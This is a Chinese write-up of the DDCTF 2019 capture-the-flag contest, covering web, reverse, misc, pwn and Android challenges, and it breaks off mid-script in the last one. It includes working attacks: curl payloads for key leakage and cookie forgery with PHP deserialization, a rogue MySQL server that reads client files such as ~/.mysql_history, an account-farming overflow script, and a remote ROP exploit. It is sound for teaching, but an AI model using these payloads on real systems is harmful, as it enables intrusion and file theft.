CTF 安全

DDCTF 2019 WriteUp

前言

一年一度的 DDCTF 又来了。来,上个车。滴,学生卡~

DDCTF 由 滴滴出行信息安全部 主办,属于个人闯关类型 CTF 比赛

比赛入口地址:https://ddctf.didichuxing.com/

这次比赛共 5381 人参加,个人解出 18 道题,最终排名第 2

0x01 Web - 滴~

题目:http://117.51.150.246

网上能找到某春秋原题,这题好像有改动过吧。

访问题目链接,自动跳转到 http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09。

参数 jpg,两次 base64 decode,再 hex2bin,得到 flag.jpg。所以这里可能存在任意读取。

那么我们可以尝试构造参数 TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,来读取 index.php。

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */
?>

访问源代码里的链接,看到一篇讲“命令 echo”的文章,不过这与本题无关,关键点在这名博主的另一篇文章“vim 异常退出 swp文件提示”。这篇文章提到 .practice.txt.swp 文件。

尝试读取 .practice.txt.swp 文件,然而并不存在。

后来读取 practice.txt.swp 成功读到内容:ZjFhZyFkZGN0Zi5waHA=。base64 decode 后得到 f1ag!ddctf.php。

由于读取文件字符只允许 a-zA-Z0-9.,而 config 会被替换为 !。所以读取 f1agconfigddctf.php 相当于读取 f1ag!ddctf.php。那么可以读取到 f1ag!ddctf.php 文件的内容。

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

这里的绕过很入门,就不多说了,直接贴上 Payload。

Payload: http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

好吧,说实话这道题,真的脑洞有点大。

Flag: DDCTF{436f6e67726174756c6174696f6e73}

0x02 Web - WEB 签到题

题目:http://117.51.158.44/index.php

在 index.js 里看到 /app/Auth.php 请求可以带上一个请求头 didictf_username。

那么带上一个请求头 didictf_username: admin 去访问,可以得到一个文件的路径 /app/fL2XID2i0Cdh.php。

访问 /app/fL2XID2i0Cdh.php 拿到另外两个文件 /app/Application.php 和 /app/Session.php 的源代码。

/app/Application.php:

Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

/app/Session.php:

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";

    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );
    }
}

$ddctf = new Session();
$ddctf->index();

审计源代码。

在 session_read() 里,$data = sprintf($data,$v); 这一行,假如 $_POST["nickname"] 为 %s,那么就能泄露出 $this->eancrykey。

构造 Payload 如下:

curl -H 'didictf_username: admin' --cookie 'ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%223853b51fc9cd327af530a6c09e11259d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22223.104.64.208%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A11%3A%22curl%2F7.61.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D97ce8958578b78e4d91ca007527dfa53' -d 'nickname=%s' 'http://117.51.158.44/app/Session.php'

得到 Key: EzblrbNS。

此时可以构造一个恶意 Session,让 session_read() 里的 unserialize($session); 反序列化,恶意反序列化对象 Application 销毁时触发 __destruct(),读取 $path 路径文件的内容。

最终 Payload 如下:

curl -H 'didictf_username: admin' --cookie 'ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525' 'http://117.51.158.44/app/Session.php'
Flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

0x03 Web - Upload-IMG

题目:http://117.51.148.166/upload.php

user:dd@ctf
pass:DD@ctf#000

根据题目所提供的用户名和密码登录页面,显示出一个文件上传页面。

只能上传图片文件,提示 上传的图片源代码中未包含指定字符串:phpinfo(),而且图片在服务端经过 gd 库处理。

显然,我们需要构造一张图片,经过服务端 gd 库处理后的文件包含字符串 phpinfo()。

网上查了一下资料,找到 upload-labs 里有相同漏洞的题目。参考链接

先上传一张 jpg 图片,然后下载经过服务端处理的图片。

修改 jpg_payload.php,添加需要插入的字符串 phpinfo()。

使用 php jpg_payload.php 1.jpg 命令生成新图片,然后上传新图片,得到 Flag。

Flag: DDCTF{B3s7_7ry_php1nf0}

0x04 Web - homebrew event loop

题目:Flag格式:DDCTF{.....},也就是请手动包裹上DDCTF{}
http://116.85.48.107:5002/d5af31f66147e657

有个 View source code 功能,可以直接看源代码。

看到作者名字 garzon 师傅!先膜一波!还记得上一年区块链那题也是师傅出的。

花了几个小时进行代码审计,才找到漏洞。跟区块链那题一样,想得脑壳疼,不过解出来很舒服。

Event 都被放到一个队列中,按 FIFO 的顺序处理。

eval 那里可以用 # 注释掉后面的部分,实现有条件的任意函数执行。我们可以调用 trigger_event 往队列里添加新的 Event。

如果在触发 RollBackException 前,触发 get_flag_handler 事件的处理,那么 Flag 就被写到 Session['log'] 里,直接解密 Session 就能得到 Flag。

贴上 Payload:

http://116.85.48.107:5002/d5af31f66147e657/?action:trigger_event%23;action:buy;50%23action:get_flag;1
Flag: DDCTF{3v41_3v3nt_1O0p_aNd_fLASK_cOOk1e}

0x05 Web - 大吉大利,今晚吃鸡~

题目:http://117.51.147.155:5050/index.html#/login
注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~

本题不需要使用扫描器

这题并不难。整数溢出购买入场券,已经遇到好几次这种漏洞了。

但是需要淘汰 100 名选手。想了一下,想出来一种方法:可以不断注册账号,然后购买入场卷给特定账号淘汰。

后来发现每次得到的入场卷都是随机的,越到后面越难淘汰,脚本跑了一个半小时才淘汰完。

淘汰脚本如下:(看运气。没淘汰完就继续运行。)

import requests
import random
import string
import threading
from time import sleep

def randStr(length):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))


class MyThread(threading.Thread):

    def __init__(self,func,args=()):
        super(MyThread,self).__init__()
        self.func = func
        self.args = args

    def run(self):
        self.result = self.func(*self.args)

    def get_result(self):
        try:
            return self.result
        except Exception:
            return None

def attack(count,un,pw):
    try:
        s=requests.session()
        tun=randStr(8)
        tpw=randStr(8)
        s.get('http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s' % (tun, tpw))
        r=s.get('http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967298')
        bill=r.text.split('bill_id":"')[1].split('"')[0]
        r=s.get('http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s' % bill)
        id=r.text.split('your_id":')[1].split(',')[0]
        ticket=r.text.split('your_ticket":"')[1].split('"')[0]
        print id,ticket
        s.get('http://117.51.147.155:5050/ctf/api/login?name=%s&password=%s' % (un, pw))
        r=s.get('http://117.51.147.155:5050/ctf/api/remove_robot?ticket=%s&id=%s' % (ticket, id))
    except:
        pass

s=requests.session()
un='zYhaRgj4'
pw='89sl0mQt'
print (un, pw)

for i in range(50):
    for j in range(10):
        print i,j
        ts=[]
        t=MyThread(attack,args=(i*5+j,un,pw))
        ts.append(t)
        t.start()
        sleep(1)

最后用淘汰者的账号访问 /ctf/api/get_flag,就可以得到 Flag。

Flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}

0x06 Web - mysql弱口令

题目:http://117.51.147.155:5000/index.html#/scan
部署agent.py再进行扫描哦~

本题不需要使用扫描器

限制了每秒2-3次访问

这题弄了很久,还是没有思路。后来找到一个知识点:如何利用MySQL LOCAL INFILE读取客户端文件

这个 LOAD DATA LOCAL 命令以前用过,没想到有这种漏洞。看了一下这篇文章提到,客户端竟然不需要校验是否发送过这条命令,就十分信任服务端,将本地文件发往服务端。

题目提供的 agent.py 其实是为了检测客户端本地是否开启了 mysql 服务,只需要往回发送字符串 mysqld 就能绕过检测。

在网上找到该漏洞点的 POC,修改一下就能使用。最后,在历史文件 ~/.mysql_history 里找到了 Flag。

附上 POC:

import socket
from time import sleep

filename='~/.mysql_history'

a='4a0000000a352e352e353300050000007b212f663926524900fff72102000f8015000000000000000000005963644f3d2336265b796f41006d7973716c5f6e61746976655f70617373776f726400'.decode('hex')
b='0100000200'.decode('hex')
c=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename

HOST = '0.0.0.0'
PORT = 3306

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)

print 'Server start at: %s:%s' %(HOST, PORT)
print 'wait for connection...'

while True:
    conn, addr = s.accept()
    print 'Connected by ', addr
    conn.send(a)
    print conn.recv(1024).encode('hex')
    conn.send(b)
    print conn.recv(1024).encode('hex')
    conn.send(c)
    print conn.recv(1024)[4:]

用脚本在本机监听端口,开放一个恶意伪造的 MySQL 服务端,然后网页上填上本机 IP 和 端口号 进行扫描,本机就能接受到客户端本地的文件。

Flag: DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}

0x07 Reverse - Windows Reverse 1

题目:windows逆向,请找出正确的flag. 包裹上DDCTF{...}提交

查壳,显示 UPX ,用工具脱壳。上 IDA 分析。

输入字符串在这个函数里逐字符进行置换,置换表开头为 byte_402FF8

置换表如上

置换结果与 DDCTF{reverseME} 进行比较。

直接贴逆置换的代码。

data='FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E7D7C7B7A797877767574737271706F6E6D6C6B6A696867666564636261605F5E5D5C5B5A595857565554535251504F4E4D4C4B4A494847464544434241403F3E3D3C3B3A393837363534333231302F2E2D2C2B2A29282726252423222120'.decode('hex')
enc='DDCTF{reverseME}'
flag=''
for i in enc:
    flag+=chr(data.index(i))
print 'DDCTF{%s}' % flag
Flag: DDCTF{ZZ[JX#,9(9,+9QY!}

0x08 Reverse - Windows Reverse 2

题目:windows逆向,请找出正确的flag. 包裹上DDCTF{...}提交

查壳,显示 ASPack ,用工具脱壳。上 IDA 分析。

sub_11D11F0 函数判断输入的字符串是否在 0-9,A-F 的范围内,并且长度是否为偶数。

sub_11D1240 函数是一个 hex2bin 的转换。

sub_11D1000 函数是一个 base64 编码的过程,编码结果再异或 0x76。

编码表为 byte_11D3020。

贴上解密脚本:

enc='reverse+'
dec1=''
table='373435323330313E3F3C3D3A3B383926272425222320212E2F2C171415121310111E1F1C1D1A1B181906070405020300010E0F0C46474445424340414E4F5D59'.decode('hex')
dec2=[]
flag=''

for i in enc:
    dec1+=chr(ord(i)^0x76)
for i in dec1:
    dec2.append(table.index(i))
for i in range(2):
    a=dec2[4*i+0]
    b=dec2[4*i+1]
    c=dec2[4*i+2]
    d=dec2[4*i+3]
    flag+=chr((a<<2)|(b>>4))
    flag+=chr(((b<<4)&0xff)|(c>>2))
    flag+=chr(((c<<6)&0xff)|d)
flag=flag.encode('hex').upper()
print 'DDCTF{%s}' % flag
Flag: DDCTF{ADEBDEAEC7BE}

0x09 Reverse - Confused

题目:confused, need your flag.

一个 CrackMe 小程序。

直接提取 /confused.app/Contents/MacOS/xia0Crackme 上 IDA 进行分析。

找到 Check 函数 -[ViewController checkCode:]。

输入内容截取掉 DDCTF{} 大括号里面的部分,再交由 sub_1000011D0 进一步判断。

跟进去分析,其实这里面实现了指令翻译的功能。

初始化 struct:

逐条指令翻译:

所有指令:

找到对应指令,先手工跟着翻译一下,很快就能直接写出解密脚本了,因为算法不难。

ins='F01066000000F8F230F6C1F01063000000F8F231F6B6F0106A000000F8F232F6ABF0106A000000F8F233F6A0F0106D000000F8F234F695F01057000000F8F235F68AF0106D000000F8F236F67FF01073000000F8F237F674F01045000000F8F238F669F0106D000000F8F239F65EF01072000000F8F23AF653F01052000000F8F23BF648F01066000000F8F23CF63DF01063000000F8F23DF632F01044000000F8F23EF627F0106A000000F8F23FF61CF01079000000F8F240F611F01065000000F8F241F606'.decode('hex')
flag=''
for i in range(len(ins)/11):
    tmp=ins[11*i:11*(i+1)]
    k=ord(tmp[2])
    if k in range(0x41,0x5b):
        k=(k-0x41+2)%26+0x41
    if k in range(0x61,0x7b):
        k=(k-0x61+2)%26+0x61
    flag+=chr(k)
print 'DDCTF{%s}' % flag

直接出 Flag。

Flag: DDCTF{helloYouGotTheFlag}

0x0A Reverse - obfuscating macros

题目:提交格式:DDCTF{最短的正确输入},使得程序输出WELL DONE!

这题一开始手工分析,发现做了 流程平坦化 处理,程序不长,还是可以 F5 分析一下的。

两个 Check 函数,先分析前面那个 sub_4069D6 函数。

F5 里看到有几行比较长的代码。

if ( (std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(a1) & 1) != 0 )
v3 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '/'
  && *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= '9';
v5 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '@'
  && *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= 'F';

初步判断会检测输入长度的奇偶性,而且只允许 0-9A-F。在返回值处下断点,尝试了一下,推测应该没错,只允许输入 hex,而且长度为偶数。

sub_4013E6 函数里的 F5 代码要长很多,一时没分析出来。后来直接上 pin 跑,竟然能跑出结果,可是试了半天发现结果是错的(其实与正确结果很相近了,前面大部分都一样的,就差最后面的不同)。

因为 pin 能跑出结果,所以猜测 sub_4013E6 里大概是逐字节判断输入。

这题一时没有思路,后来再次分析这题,直接比较 sub_4013E6 和 sub_4069D6 的不同点,在不同点处下断点慢慢调,最后找到跟之前跑 pin 十分相近的结果,那么这里应该就是关键点了。

这里的 v25 = 0x4082C0,*v26 是每一轮赋的不同值(这个值固定写在了代码里)。

第一行 xor 后的值就是我们每一轮需要输入的值。

第二行是根据第一行 xor 后的值判断 v25 是否需要 +1。

直接下断点动态,读每一轮的 *v26 就能得到 Flag 了。

Flag: DDCTF{79406C61E5EEF319CECEE2ED8498}

0x0B Misc - 真-签到题

题目:请认真阅读第一条公告(本页面顶部导航栏中有链接)。

好好看看公告~

Flag 就在公告里。

Flag: DDCTF{return DDCTF::get(2019)->flagOf(0);}

0x0C Misc - 北京地铁

题目:Color Threshold

提示:AES ECB密钥为小写字母
提示2:密钥不足位用\0补全
提示3:不要光记得隐写不看图片本身啊...

根据题目提示,查隐写,在 LSB 里找到一串 base64 编码的字符串,应该是 AES 的密文。

进一步根据 Color Threshold 提示,用 PhotoShop 调整图片的阀值,找到 北京地铁线路图 上某一站点的颜色不一样,这个站点的 小写拼音字母 为加密密钥。

from Crypto.Cipher import AES
from base64 import *

cipher=b64decode('7SsQWmZ524i/yVWoMeAIJA==')
key='weigongcun'.ljust(16,'\x00')
mode=AES.MODE_ECB

c=AES.new(key, mode)
print c.decrypt(cipher)
Flag: DDCTF{Q*2!x@B0}

0x0D Misc - MulTzor

题目:原文为英语,请破解

12ce98ec4c4d79e38bf9454a71fecafa5a196ce58fb5795771ea87f41c
......此处省略N个字符......
1055c2abcdaa30a0b2bbddbf45f097ebb8ca65d0f2dbfdca40c0f7ebc97

一开始没有思路,Mul 应该是 Multi 的意思,Tzor 觉得是跟 Xor 有关系。

然后就往 Xor 的方向去尝试,不过手工写脚本并不好使,而且如果有密钥也很难爆出来。

后来找到一个叫 featherduster 的密码学分析工具,可以直接分析出明文和加密类型:multi_byte_xor。

工具分析得到以下可能正确的 Flag:

DDDTF{b5f49e210662301ac0f6f3a6527106f1z
CDCTF{b5f49e210662401ac0f6f3a6526106a1}
DDETF{b5f49e210662301ac0f6`3a6526106f1}

经过比对和尝试,得到正确的 Flag。

Flag: DDCTF{b5f49e210662301ac0f6f3a6526106f1}

0x0E Misc - [PWN] strike

题目:nc 116.85.48.105 5005

先 checksec 看一下开了什么保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开了 NX 和 部分RELRO。

那么看一下程序有什么功能。

这里输入想要 read 的长度 nbytes,nbytes 是 signed int 类型,所以可以设置为 -1,导致可以无限长度的 read。同时 &buf 位于栈上,程序没有开启 canary 防护,所以可以任意构造 ROP 链。

这里 &buf 位于栈上,所以可以 fprintf 打印栈上内容,导致栈上地址泄露,可以泄露计算出 libc 的基地址。

基本流程掌握了,然而这题有个坑点在这里。

retn 前面有一行 lea esp, [ecx-4],会根据 ecx 改写 esp ,那么需要通过上面的 pop ecx 来控制 ecx 间接地控制 esp。这里需要提前算好 ecx 的值和偏移,插入到栈上。

POC 如下:

from pwn import *

io=remote('116.85.48.105', 5005)
context.log_level='debug'

payload='a'*0x28
io.sendafter('username: ',payload)
io.recvuntil('a'*0x28)
stack_addr=u32(io.recv(4))
libc_addr=u32(io.recv(4))-0x15-0x65450
gadget_addr=libc_addr+0x3a80c

io.sendafter('password: ',str(-1))

payload='a'*0x44+p64(stack_addr+0x14)+p64(0)+p64(0)+p64(gadget_addr)
io.sendafter('): ',payload)

io.interactive()
Flag: DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}

0x0F Misc - Wireshark

题目:简单的流量分析

流量分析。关键点在 HTTP 里。

这里上传了两张图片,可以导出来得到 upload.png 和 interesting.png。

upload.png 在 MacOS 和 Kali 下都无法预览,想到应该是图片尺寸被修改,根据 PNG 头部的 CRC 爆破图片尺寸,图片尺寸修复脚本如下。

import os
import binascii
import struct

misc = open("upload.png","rb").read()

for i in range(1024):
    data = misc[12:20] + struct.pack('>i',i) + misc[24:29]
    crc32 = binascii.crc32(data) & 0xffffffff
    if crc32 == struct.unpack('>i',misc[29:33])[0]:
        print i
        data = misc[0:20] + struct.pack('>i',i) + misc[24:]
        open('upload_repaire.png','wb').write(data)

看到有个 Key: xS8niJM7 ,结合流量包里访问过的 在线图片隐写网址 ,可以在线解密出 interesting.png 里隐写的内容。

Flag: DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}

0x10 Misc - 联盟决策大会

题目:为了共同的利益,【组织1】和【组织2】成立了联盟,并遵守共同约定的协议。为了让协议的制定和修改更加公
平,组织1和组织2共同决定:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协
议。为了实现这一功能,联盟的印章被锁在密码保险柜中,而保险柜的密码只通过Shamir秘密分享方案分享给【组织
1】和【组织2】的每一位成员。
现在,【组织1】的【成员1】、【成员2】、【成员4】,【组织2】的【成员3】、【成员4】、【成员5】一致同
意制定新的协议。请还原出这套方案的设计思路,按照这套方案的思路恢复出保险柜密码,取出印章吧!

以下为使用到的7个十六进制常数:

p =
C45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627
E3ED40FBDE968251984513ACC2B627B4A483A6533
组织1成员1 =
729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB17
77357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E
组织1成员2 =
478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C
24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6
组织1成员4 =
BFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB
5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D
组织2成员3 =
9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A
0A494BE36CEF44ADE376317E7A0C70633E3091A61
组织2成员4 =
79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393F
C7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8
组织2成员5 =
2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472
444A3CE2368E5A6EBF96603B3CD10EAE858150510

根据题目提示,在维基百科上可以找到 Shamir算法 的解密脚本。

使用 组织1成员1 & 组织1成员2 & 组织1成员4 & p,可以解密得到 组织1密文。

使用 组织2成员3 & 组织2成员4 & 组织2成员5 & p,可以解密得到 组织2密文。

刚开始想直接将两者进行 xor 处理,应该就能得到明文,其实这样行不通。

后来发现将两者拿去进行解密,就可以得到明文了。

附上解密脚本:

from __future__ import division
from __future__ import print_function

import random
import functools

_PRIME = 2**127 - 1

_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    print (x_s)
    return _lagrange_interpolate(0, x_s, y_s, prime)

def main():
    p=0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533
    a1=(1,0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E)
    a2=(2,0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6)
    a4=(4,0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D)
    b3=(3,0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61)
    b4=(4,0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8)
    b5=(5,0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510)
    shares=[a1,a2,a4,b3,b4,b5]
    r1=recover_secret(shares[:3],p)
    r2=recover_secret(shares[-3:],p)
    print(hex(r1))
    print(hex(r2))
    r3=r1^r2
    print(hex(r3))
    c1=(1,r1)
    c2=(2,r2)
    shares=[c1,c2]
    r4=recover_secret(shares,p)
    print(hex(r4))
    print(hex(r4)[2:-1].decode('hex'))

if __name__ == '__main__':
    main()
Flag: DDCTF{vF22holF5hl5q0WmrFZ5kZ1DBdWOGObk}

0x11 Android - Breaking LEM

题目:In this question, a Lorenz encryption machine is explained and a string is encrypted using the key. Please reverse the app and find the key of the encrypting algorithm, and input the string in the Android app. A Lorenz encryption machine uses 12 wheels, each with 23 ~ 61 lowered or raised cams, to randomly generate 12 binary numbers (chi1~chi5, mu37, mu61, psi1~psi5) with the respective length of 23 ~ 61 bits. For example, one random number (chi5) is of length 23: 0101 0000 0111 0101 0101 011. ( FYI: In the mechanical cipher, the lowered cam means 0 and the raised cam means 1. ) Then use the key e.g. XYZ to form the flag in the style of DDCTF{XYZ}

提示:The format of the flag is DDCTF{ddctf-android-lorenz-ZFXXXXXX}, where XXXXXX represents a 6-char string comprised of A-Z and 0-9. MAX Attempts Limit is 5

看题目应该是 Lorenz Cipher,上维基百科恶补一番。

反编译 APK,找到关键函数在 libhello-libs.so 文件里的:

Java_com_didictf_guesskey2019lorenz_MainActivity_stringFromJNI(int a1);

结合动态调试,分析出输入要以 ddctf-android-lorenz- 开头,里面会去除这个开头,然后判断剩下的字符串是否在 A-Z,1-6 范围内,然后拿去做 Lorenz Encrypt,最后加密结果做 5轮sha256 计算,比较结果是否与设定值相同。

LEM 初始化时会设置 Pinsettings,也就是轮子的初始值,然后每次转轮生成固定的密钥,有点像 srand 和 rand 产生伪随机数的过程。然后用户输入还经过 TelePrinter 的 Baudot 编码转换。生成的密钥与用户输入进行 xor 处理。完成一次加密需要进行 10轮 这个步骤。

根据题目提示,需要交给 LEM 做加密的字符串为 ZFXXXXXX(X 代表的字符在 A-Z,1-6 范围内)。

为了省事,在此处下断点读 v4,读 8*10=80 次,把需要用到的密钥读出来。

已知明文前面两字节为 ZF,需要爆破后面6字节。

写出爆破脚本如下:

from hashlib import sha256

target='4b27bd0beaa967e3625ff6f8b8ecf76c5beaa3bda284ba91967a3a5e387b0fa7'
table='ABCDEFGHIJKLMNOPQRSTUVWXYZ123456'

